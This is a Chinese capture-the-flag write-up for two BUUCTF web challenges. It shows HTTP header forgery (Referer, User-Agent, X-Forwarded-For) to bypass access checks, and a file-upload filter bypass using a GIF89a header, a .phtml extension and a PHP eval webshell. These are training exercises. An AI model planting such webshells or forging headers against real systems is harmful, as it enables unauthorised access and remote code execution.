BUUCTF——WEB(4)

[极客大挑战 2019]Http 1

HTTP头伪造

f12查看

跳转

页面提示它不是来源于这个网址,用burpsuite抓包加上这个 Referer: https://Sycsecret.buuoj.cn

服务器检查来源 当直接访问 /secret.php 时,服务器返回的错误信息明确表示:

It doesn't come from 'https://Sycsecret.buuoj.cn'

这说明服务器在验证请求的来源(即 HTTP Referer 头),要求请求必须是从 https://Sycsecret.buuoj.cn 跳转过来的。

Referer 头的作用 HTTP Referer 头用于告诉服务器当前请求是从哪个页面链接过来的。

服务器可以通过检查这个头来:

防止未经授权的直接访问(比如用户直接输入 URL 访问敏感页面)

实现简单的 CSRF(跨站请求伪造)防护

统计流量来源 绕过访问控制

由于服务器明确要求请求必须来自 https://Sycsecret.buuoj.cn

手动添加 Referer 头是为了: 伪造请求来源,让服务器认为请求是从 Sycsecret.com 跳转过来的

绕过服务器的来源验证机制 添加 Referer: https://www.Sycsecret.com 是为了 伪造请求来源,绕过服务器的来源验证机制,从而继续渗透测试流程。

提示

浏览器验证 添加完referer头之后看到服务器要求来自 "Syclover" 浏览器,所以我们修改 User-Agent 头为 Syclover 浏览器标识

提示

只能从本地访问

  • 添加 X-Forwarded-For: 127.0.0.1 头绕过本地访问限制

[极客大挑战 2019]Upload 1

文件上传

先上传一句话木马

复制代码
<?php
@eval($_POST['cmd'])
?>

提示

修改类型

提示

修改文件后缀phtml尝试绕过

过滤了<? 那么尝试改成

复制代码
 <script>alert("whoami")</script>

应该是检查了文件内容

添加图片文件头

GIF89a

成功上传

猜测访问路径/upload/test.phtml

成功执行alert()

修改为一句话木马

上传

复制代码
GIF89a? 
<script language="php">eval($_POST['cmd'])</script>

访问蚁剑连接

找flag

相关推荐
heze091 天前
sqli-labs-Less-18自动化注入方法
mysql·网络安全·自动化
奔跑的web.1 天前
TypeScript Enum 类型入门:从基础到实战
前端·javascript·typescript
盐真卿1 天前
python2
java·前端·javascript
梦梦代码精1 天前
BuildingAI vs Dify vs 扣子:三大开源智能体平台架构风格对比
开发语言·前端·数据库·后端·架构·开源·推荐算法
seabirdssss1 天前
《bootstrap is not defined 导致“获取配置详情失败”?一次前端踩坑实录》
前端·bootstrap·html
kgduu1 天前
js之表单
开发语言·前端·javascript
谢尔登1 天前
Vue3 响应式系统——computed 和 watch
前端·架构
愚公移码1 天前
蓝凌EKP产品:主文档权限机制浅析
java·前端·数据库·蓝凌
欣然~1 天前
法律案例 PDF 批量转 TXT 工具代码
linux·前端·python
一个小废渣1 天前
Flutter Web端网络请求跨域错误解决方法
前端·flutter